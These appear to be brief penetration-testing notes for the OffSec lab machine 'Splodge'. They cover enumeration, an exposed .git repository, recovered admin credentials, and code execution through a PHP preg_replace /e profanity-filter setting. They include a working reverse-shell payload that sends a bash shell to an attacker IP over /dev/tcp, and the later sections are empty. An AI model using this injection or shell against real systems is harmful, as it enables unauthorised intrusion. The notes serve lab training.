Splodge

Enumeration

80/tcp   open  http       nginx 1.16.1
|_http-title: 403 Forbidden
| http-git: 
|   192.168.147.108:80/.git/
|     Git repository found!
|     .git/config matched patterns 'user'
|     .gitignore matched patterns 'bug' 'key'
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|     Last commit message: initial commit 
|_    Project type: node.js application (guessed from .gitignore)
| http-methods: 
|_  Supported Methods: GET HEAD POST
|_http-server-header: nginx/1.16.1
http://192.168.147.108/.git/config

	name = The Splodge
	email = admin@splodge.offsec

Saved and edited contents of /.git/index to index.txt

GET /§§ HTTP/1.1 Intruder, Sniper Attack - index.txt

Blind guess.

Opened it with SQLite Database Browser

id
title
filter
replacement
password

1

Splodge

/x/e

system('id');

[REDACTED]

id
post_id
author
message

2

1

x

uid=0(root) gid=0(root) groups=0(root)

/login -> admin:[REDACTED]

Profanity Filter Regex -> /x/e

Profanity Replacement -> system('id');

Post a comment x:x

In the response:

x: uid=997(nginx) gid=995(nginx) groups=995(nginx)

Initial Access

Profanity Filter Regex -> /x/e

Profanity Replacement -> system('/bin/bash -i >& /dev/tcp/192.168.49.147/80 0>&1');

Post a comment x:x

Lateral Movement

Enviroment Variables:

PrivEsc

Last updated